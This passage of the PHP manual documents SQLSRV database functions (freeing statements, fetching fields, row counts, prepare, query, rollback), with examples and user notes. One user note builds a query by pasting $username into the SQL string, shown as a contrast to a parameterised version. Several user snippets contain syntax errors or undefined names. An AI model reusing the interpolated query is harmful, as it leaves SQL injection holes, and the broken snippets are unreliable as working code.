      echo "<br />";
}
?>

参考

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.


Frees all resources for the specified statement

  • ≪ sqlsrv_field_metadata
  • sqlsrv_get_config ≫
  • PHP Manual
  • SQLSRV 関数
  • Frees all resources for the specified statement

sqlsrv_free_stmt

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_free_stmt — Frees all resources for the specified statement

説明

sqlsrv_free_stmt ( resource $stmt ) : bool

Frees all resources for the specified statement. The statement cannot be used after sqlsrv_free_stmt() has been called on it. If sqlsrv_free_stmt() is called on an in-progress statement that alters server state, statement execution is terminated and the statement is rolled back.

パラメータ

stmt

The statement for which resources are freed. Note that null is a valid parameter value. This allows the function to be called multiple times in a script.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_free_stmt() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

/*-------------------------------
     Process query results here.
-------------------------------*/

/* Free the statement resources. */
sqlsrv_free_stmt( $stmt);

?>

注意

The main difference between sqlsrv_free_stmt() and sqlsrv_cancel() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

参考

  • sqlsrv_cancel() - Cancels a statement

User Contributed Notes

Anonymous 19-Jan-2015 07:28
If you accidentally call this with an invalid $stmt resource, you may see unexpected fatal errors.

I had left behind a call here when cleaning up some code and this caused the my IIS server to generate an error 500 resource not found error.  Furthermore it seemed to only affect some users and not all and I could not isolate why only selected users got the error when it was called for all users.


Returns the value of the specified configuration setting

  • ≪ sqlsrv_free_stmt
  • sqlsrv_get_field ≫
  • PHP Manual
  • SQLSRV 関数
  • Returns the value of the specified configuration setting

sqlsrv_get_config

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_get_config — Returns the value of the specified configuration setting

説明

sqlsrv_get_config ( string $setting ) : mixed

Returns the value of the specified configuration setting.

パラメータ

setting

The name of the setting for which the value is returned. For a list of configurable settings, see sqlsrv_configure().

返り値

Returns the value of the specified setting. If an invalid setting is specified, false is returned.

参考

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.


Gets field data from the currently selected row

  • ≪ sqlsrv_get_config
  • sqlsrv_has_rows ≫
  • PHP Manual
  • SQLSRV 関数
  • Gets field data from the currently selected row

sqlsrv_get_field

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_get_field — Gets field data from the currently selected row

説明

sqlsrv_get_field ( resource $stmt , int $fieldIndex , int $getAsType = ? ) : mixed

Gets field data from the currently selected row. Fields must be accessed in order. Field indices start at 0.

パラメータ

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

fieldIndex

The index of the field to be retrieved. Field indices start at 0. Fields must be accessed in order. i.e. If you access field index 1, then field index 0 will not be available.

getAsType

The PHP data type for the returned field data. If this parameter is not set, the field data will be returned as its default PHP data type. For information about default PHP data types, see » Default PHP Data Types in the Microsoft SQLSRV documentation.

返り値

Returns data from the specified field on success. Returns false otherwise.

例

例1 sqlsrv_get_field() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
        FROM Table_1
        WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indices start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

参考

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - 行を配列として返す
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether the specified statement has rows

  • ≪ sqlsrv_get_field
  • sqlsrv_next_result ≫
  • PHP Manual
  • SQLSRV 関数
  • Indicates whether the specified statement has rows

sqlsrv_has_rows

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_has_rows — Indicates whether the specified statement has rows

説明

sqlsrv_has_rows ( resource $stmt ) : bool

Indicates whether the specified statement has rows.

パラメータ

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

返り値

Returns true if the specified statement has rows and false if the statement does not have rows or if an error occurred.

例

例1 sqlsrv_has_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" )
$conn = sqlsrv_connect( $server, $connectionInfo );

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");

if ($stmt) {
   $rows = sqlsrv_has_rows( $stmt );
   if ($rows === true)
      echo "There are rows. <br />";
   else
      echo "There are no rows. <br />";
}
?>

参考

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

Bin Ury 31-Aug-2017 04:13
This function cannot be relied on to report errors since both a existence negative and a SQL error will report the same boolean value.


Makes the next result of the specified statement active

  • ≪ sqlsrv_has_rows
  • sqlsrv_num_fields ≫
  • PHP Manual
  • SQLSRV 関数
  • Makes the next result of the specified statement active

sqlsrv_next_result

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_next_result — Makes the next result of the specified statement active

説明

sqlsrv_next_result ( resource $stmt ) : mixed

Makes the next result of the specified statement active. Results include result sets, row counts, and output parameters.

パラメータ

stmt

The statement on which the next result is being called.

返り値

Returns true if the next result was successfully retrieved, false if an error occurred, and null if there are no more results to retrieve.

例

例1 sqlsrv_next_result() example

The following example executes a batch query that inserts into a table and then selects from the table. This produces two results on the statement: one for the rows affected by the INSERT and one for the rows returned by the SELECT. To get to the rows returned by the SELECT, sqlsrv_next_result() must be called to move past the first result.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array("Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

$query = "INSERT INTO Table_1 (id, data) VALUES (?,?); SELECT * FROM TABLE_1;";
$params = array(1, "some data");
$stmt = sqlsrv_query($conn, $query, $params);

// Consume the first result (rows affected by INSERT) without calling sqlsrv_next_result.
echo "Rows affected: ".sqlsrv_rows_affected($stmt)."<br />";

// Move to the next result and display results.
$next_result = sqlsrv_next_result($stmt);
if( $next_result ) {
   while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)){
      echo $row['id'].": ".$row['data']."<br />";
   }
} elseif( is_null($next_result)) {
     echo "No more results.<br />";
} else {
     die(print_r(sqlsrv_errors(), true));
}
?>

参考

  • sqlsrv_query() - Prepares and executes a query
  • sqlsrv_fetch_array() - 行を配列として返す
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

chakin 24-Mar-2014 01:09
You can use a for loop to iterate through the results:

If you know how many results there should be it's easier, otherwise you can put a large number in the loop constructor and break when done:

<?
for ($i=0; $i< (Large # or Exact #); $i++)
{
  $rows_affected = sqlsrv_rows_affected($q2);
   if ($rows_affected === false)
    {
       echo 'Inserts Failed<br />\n';
    } else if ( $rows_affected == -1) {
       echo "No information available.<br />\n";
    }  else  {
       echo $rows_affected." rows were added.<br />\n";
    }

   $next_result = sqlsrv_next_result($q2);

    if (!$next_result)
    {
     break;
    }
}
?>


Retrieves the number of fields (columns) on a statement

  • ≪ sqlsrv_next_result
  • sqlsrv_num_rows ≫
  • PHP Manual
  • SQLSRV 関数
  • Retrieves the number of fields (columns) on a statement

sqlsrv_num_fields

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement

説明

sqlsrv_num_fields ( resource $stmt ) : mixed

Retrieves the number of fields (columns) on a statement.

パラメータ

stmt

The statement for which the number of fields is returned. sqlsrv_num_fields() can be called on a statement before or after statement execution.

返り値

Returns the number of fields on success. Returns false otherwise.

例

例1 sqlsrv_num_fields() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
   die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_query($conn, $sql);
if( $stmt === false) {
   die( print_r( sqlsrv_errors(), true));
}

$numFields = sqlsrv_num_fields( $stmt );

while( sqlsrv_fetch( $stmt )) {
   // Iterate through the fields of each row.
   for($i = 0; $i < $numFields; $i++) {
      echo sqlsrv_get_field($stmt, $i)." ";
   }
   echo "<br />";
}
?>

参考

  • sqlsrv_field_metadata() - Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_get_field() - Gets field data from the currently selected row

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the number of rows in a result set

  • ≪ sqlsrv_num_fields
  • sqlsrv_prepare ≫
  • PHP Manual
  • SQLSRV 関数
  • Retrieves the number of rows in a result set

sqlsrv_num_rows

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_num_rows — Retrieves the number of rows in a result set

説明

sqlsrv_num_rows ( resource $stmt ) : mixed

Retrieves the number of rows in a result set. This function requires that the statement resource be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

パラメータ

stmt

The statement for which the row count is returned. The statement resource must be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

返り値

Returns the number of rows retrieved on success and false if an error occurred. If a forward cursor (the default) or dynamic cursor is used, false is returned.

例

例1 sqlsrv_num_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$sql = "SELECT * FROM Table_1";
$params = array();
$options =  array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );

$row_count = sqlsrv_num_rows( $stmt );

if ($row_count === false)
   echo "Error in retrieveing row count.";
else
   echo $row_count;
?>

参考

  • sqlsrv_has_rows() - Indicates whether the specified statement has rows
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

wazz3r at gmail dot com 21-Jan-2013 02:04
Try to avoid using this function if you need good performance. Specifying "Scrollable" in the options will make you queries take ages to run. If your result contains less than 5000 rows (might vary on different hardware) its faster to not use "Scrollable" and loop over them in php instead.

If you need to check if a result contains rows use "sqlsrv_has_rows()", this function works without "Scrollable". After removing all my "Scrollable" queries, my page loadtime went from 900ms to 60ms.

To demonstrate, here is a query that returns 100 rows:
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q,array(), array( "Scrollable" => SQLSRV_CURSOR_KEYSET ));

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This takes about 10s! Thats 10 qps..

Now if we remove "Scrollable":
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q);

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This will run in 300ms, about 334 qps!
smhahmadi 30-Dec-2012 09:50
Note that when migrating your MS SQL Server PHP Driver from MSSQL to SQLSRV, if you have used mssql_num_rows, replacing them with sqlsrv_num_rows and replacing mssql_query($query, $mssql_link) with sqlsrv_query($sqlsrv_link, $query) calls will make your sqlsrv_num_rows calls fail. In order to avoid that, you should specify either static, keyset or buffered cursors (buffered cursor has been available since SQLSRV 3.0) when calling sqlsrv_query. For example,
<?php
mssql_query($query, $mssql_link);
// is equivalent to
sqlsrv_query($sqlsrv_link, $query, array(), array('Scrollable' => 'buffered'));
?>
Using the buffered cursor is "more equivalent" than using the static or keyset cursors to simple mssql_query calls, since it caches the entire result set in client memory.


Prepares a query for execution

  • ≪ sqlsrv_num_rows
  • sqlsrv_query ≫
  • PHP Manual
  • SQLSRV 関数
  • Prepares a query for execution

sqlsrv_prepare

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_prepare — Prepares a query for execution

説明

sqlsrv_prepare ( resource $conn , string $sql , array $params = ? , array $options = ? ) : mixed

Prepares a query for execution. This function is ideal for preparing a query that will be executed multiple times with different parameter values.

パラメータ

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifying query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | true or false (the default is true) | Configures the driver to send all stream data at execution (true), or to send stream data in chunks (false). By default, the value is set to true. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

返り値

Returns a statement resource on success and false if an error occurred.

例

例1 sqlsrv_prepare() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
        SET OrderQty = ?
        WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
    die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
    // Because $id and $qty are bound to $stmt1, their updated
    // values are used with each execution of the statement.
    if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
    }
}
?>

注意

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

参考

  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

tuxedobob 12-Aug-2015 08:54
Be careful with your variables once you bind them to a statement with sqlsrv_prepare.

Consider the following:

<?php
$dude = '';
$time = new DateTime();
$sql = "INSERT INTO my_table (person, timein) VALUES (?, ?)";
$stmt = sqlsrv_prepare($conn, $sql, array(&$dude, &$time));

...
// many lines later

foreach ($times as &$time) {
   //do stuff
}

// later still...
$time = $times['start'];
if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
}
?>

I did something like this. I prepared a statement at the start, used the variable again in the middle, and then set the value I wanted before running the query.

Trouble is, I used the variable as an iterator instead of a simple scalar. This caused PHP to use a different location in memory, and the location it was previously bound to was invalid. So SQL simply inserted a default date/time.

Worse, because SQL just inserted a default, it didn't throw any errors, and in trying to debug it, I did something like this:

<?php
var_dump($time);
sqlsrv_execute($stmt);
$q = "SELECT * FROM my_table WHERE id=@@IDENTITY";
$r = sqlsrv_query($conn, $q);
$row = sqlsrv_fetch_array($r); $id = $row[0];
var_dump($row['time']);
?>

Having it appear as though you're sending SQL the correct data, and seeing it spitting back something else entirely is absolutely maddening.

So if SQL seems to be inserting garbage with prepared statements, MAKE SURE YOU'RE NOT USING THE VARIABLES ANYWHERE ELSE.
matt at bigbadweb dot co dot uk 10-Jul-2014 10:07
Example of how to formally specify the params, AND get output.
<?php

// Setup connection
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
  die( print_r( sqlsrv_errors(), true));
}

// specify params - MUST be a variable that can be passed by reference!
$myparams['Item_ID'] = intval(-2);
$myparams['Item_Name'] = "Foo";

// Set up the proc params array - be sure to pass the param by reference
$procedure_params = array(
 array(&$myparams['Item_ID'], SQLSRV_PARAM_OUT),
 array(&$myparams['Item_Name'], SQLSRV_PARAM_OUT)
);

// EXEC the procedure, {call stp_Create_Item (@Item_ID = ?, @Item_Name = ?)} seems to fail with various errors in my experiments
$sql = "EXEC stp_Create_Item @Item_ID = ?, @Item_Name = ?";

$stmt = sqlsrv_prepare($conn, $sql, $procedure_params);

if( !$stmt ) {
 die( print_r( sqlsrv_errors(), true));
}

if(sqlsrv_execute($stmt)){
  while($res = sqlsrv_next_result($stmt)){
    // make sure all result sets are stepped through, since the output params may not be set until this happens
  }
  // Output params are now set,
  print_r($params);
  print_r($myparams);
}else{
  die( print_r( sqlsrv_errors(), true));
}
?>


Prepares and executes a query

  • ≪ sqlsrv_prepare
  • sqlsrv_rollback ≫
  • PHP Manual
  • SQLSRV 関数
  • Prepares and executes a query

sqlsrv_query

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_query — Prepares and executes a query

説明

sqlsrv_query ( resource $conn , string $sql , array $params = ? , array $options = ? ) : mixed

Prepares and executes a query.

パラメータ

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifying query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | true or false (the default is true) | Configures the driver to send all stream data at execution (true), or to send stream data in chunks (false). By default, the value is set to true. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

返り値

Returns a statement resource on success and false if an error occurred.

例

例1 sqlsrv_query() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "INSERT INTO Table_1 (id, data) VALUES (?, ?)";
$params = array(1, "some data");

$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}
?>

注意

For statements that you plan to execute only once, use sqlsrv_query(). If you intend to re-execute a statement with different parameter values, use the combination of sqlsrv_prepare() and sqlsrv_execute().

参考

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare

User Contributed Notes

erikpsundberg at gmail dot com 08-Mar-2020 06:24
2 Working Example

print "<h1>SQL Query non PDO</h1>";
print "<h2>Connection</h2>";
$connectionInfo = array( "Database"=>$sql_database, "UID"=>$sql_username, "PWD"=>$sql_password );
$conn = sqlsrv_connect( $sql_server, $connectionInfo);

if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
} else {
    print "Good DB Connection: $conn<br>";
}

print "<h2>Query Example 1 | Fetching by Associate Array</h2>";
$sql = "SELECT username, active FROM users WHERE username = '$username'";
print "SQL: $sql\n";
$result = sqlsrv_query($conn, $sql);
if($result === false) {
    die(print_r(sqlsrv_errors(), true));
}
#Fetching Data by array
while($row = sqlsrv_fetch_array($result, SQLSRV_FETCH_ASSOC)) {
    print_r($row);
}

print_line();
print "<h2>Query Example 2 | injection protection | Fetching by Object</h2>";
$sql = "SELECT username, active FROM users WHERE username = ?";
print "SQL: $sql\n";
$result = sqlsrv_query($conn, $sql, array($username));
if($result === false) {
    die(print_r(sqlsrv_errors(), true));
}
#Fetching Data by object
while($row = sqlsrv_fetch_object($result)) {
    print_r($row);
}

--------------------------------------------------
Result

Connection
Good DB Connection: Resource id #2
Query Example 1 | Fetching by Associate Array
SQL: SELECT username, active FROM users WHERE username = 'admin'
Array
(
    [username] => admin
    [active] => 1
)
######################################################################
Query Example 2 | injection protection | Fetching by Object
SQL: SELECT username, active FROM users WHERE username = ?
stdClass Object
(
    [username] => admin
    [active] => 1
)
anon at example dot com 05-Sep-2018 09:57
Note that you can get multiple results when executing a single query, for example:

    <?php
    $stmt = sqlsrv_query($conn, "use dbname; select 1");
    ?>

Running the same query in tsql or management studio works as expected. However, with sqlsrv_* functions, this gives you two result sets -- one for the "use" and one for the "select".

    <?php
    // Advance the result pointer from "use" to "select"
    sqlsrv_next_result($stmt);

    // Now you can read the "1"
    print_r(sqlsrv_fetch_array($stmt));
    ?>

For a complex query that begins by creating/populating temporary tables, you will need to advance the result pointer past such statements to get data from the final select statement. In older PHP versions (using FreeTDS-based mssql connectivity at least), you'd get only the last result so didn't need to take this into account.
vavra at 602 dot cz 17-Jan-2018 08:47
Attention!
 If the sql contains INSERT, UPDATE or DELETE statements, the number of affected rows must be consumed. The sqlsrv_query returns a sql cursor that must be read to finish the transaction, if the result is non false. This same is valid for sqlsrv_execute. In this case the cursor must be also read using the prepared statement handle $smt.

Another solution is to place SET NOCOUNT ON at the top of the sqlsrv statement and all called procedures, functions and triggers.

We've practically observed it with sql statement with 500 inserts but only 368 was inserted without false returned. Prefixing by SET NOCOUNT ON or reading a cursor all rows were inserted.

See Processing Results (ODBC): https://docs.microsoft.com/en-us/sql/relational-databases/native-client-odbc-results/processing-results-odbc Each INSERT, UPDATE, and DELETE statement returns a result set containing only the number of rows affected by the modification. This count is made available when application calls SQLRowCount. ODBC 3.x applications must either call SQLRowCount to retrieve the result set or SQLMoreResults to cancel it. When an application executes a batch or stored procedure containing multiple INSERT, UPDATE, or DELETE statements, the result set from each modification statement must be processed using SQLRowCount or cancelled using SQLMoreResults. These counts can be cancelled by including a SET NOCOUNT ON statement in the batch or stored procedure.
bill_spam0001 at yahoo dot com 27-May-2013 11:32
If you are getting an error while attempting to execute your query, and the output of sqlsrv_errors(SQLSRV_ERR_ERRORS) is this:

SQLSTATE: IMSSP
code: -14
message: An invalid parameter was passed to sqlsrv_query.

You have failed to pass a valid parameter to sqlsrv_query itself, which could be one of three parameters:
Connection: a valid handled for a SQL Server Connection
Query: a valid string containing your query, with placeholders for parameters:"(?)"
Parameters: An Array containing the values for your query parameters.  (optional, but much match the number of placeholders in your Query.

I could not find any information about this error, and it turned out to be a missing connection parameter. In my case I found I had typed "$connn" instead of "$conn" in the code:
if ($stmt=sqlsrv_query($conn, $sql, $params)) { ...

While this seems like a total "noobie" thing to do, the fact of the matter is there is very little information about this SQL Server Error message itself. So, the plain meaning of SQLSTATE "IMSSP", CODE "-14" is that you provided no valid connection object to your sqlsrv_query function.

This message may appear baffling, especially if you have several occurrences of sqlsrv_query on a page, and you may have added a new occurrence after you closed your connection.

Since I wasted an enormous amount of time tracing the normal channels, I thought referencing this error here would provide some help. In was hung up on "parameter" and was thinking it was a bad parameter object, and overlooked passing an undefined connection object to sqlsrv_query
oleg at mastak dot fi 12-Nov-2012 07:31
If you hit an error "[Microsoft][ODBC Driver Manager] Invalid cursor state " when you specify valid Scrollable cursor, please check following bug report:

https://bugs.php.net/bug.php?id=63498

There is currently a bug that requires options Scrollable to be specified before QueryTimeout in corresponding array.
bill_spam0001 at yahoo dot com 27-Feb-2012 08:42
Tip: It may seem obvious, but you need to trim your strings down to fit in the database field you are saving them to via a parametrized query or a stored procedure. (IE: only submit up to 20 characters to a VARCHAR(20) database field). If you send a larger string to the query then it can handle, you will get an error.

When cleaning up your strings, you will most likely find yourself using the php substr() function. This function will return, as documented, a boolean FALSE value when presented with an empty string. Not minding this boolean FALSE value will cause "0" to be saved in your database tables instead of an empty string.

Since trimming your input is also important, the simple and intuitive solution for this is to trim your substr() output, which will consistently supply and empty string, not boolean FALSE.

So this will always work:
<?php
//trim last returns our empty string as a data type of string
$address_line_2 = trim(substr($_POST['addr2']),0,30));

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>
This second way will give seemingly unexpected data in your database.
<?php
//if the result of trimming our post variable is "" (empty), substr() will return FALSE
$address_line_2 = substr(trim($_POST['addr2'])),0,30);

//$address_line_2 actually === FALSE, not ""
echo gettype($address_line_2);  //outputs boolean

//executing a database query will save "0" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

You can also cast the type as a string using,
which will cast the boolean false back to the expected Empty String.
<?php

$address_line_2 = (string)substr(trim($_POST['addr2'])),0,30);

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

I didn't notice this behavior until switching to IIS7, PHP 5.3.8 and SQL Server 2008.  But the behavior also is exhibited with IIS7, PHP 5.2 and SQL Server 2008.


Rolls back a transaction that was begun with sqlsrv_begin_transaction

  • ≪ sqlsrv_query
  • sqlsrv_rows_affected ≫
  • PHP Manual
  • SQLSRV 関数
  • Rolls back a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_rollback

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction()

説明

sqlsrv_rollback ( resource $conn ) : bool

Rolls back a transaction that was begun with sqlsrv_begin_transaction() and returns the connection to auto-commit mode.

パラメータ

conn

The connection resource returned by a call to sqlsrv_connect().

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_rollback() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
         VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
         SET Quantity = (Quantity - ?)
         WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

参考

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes
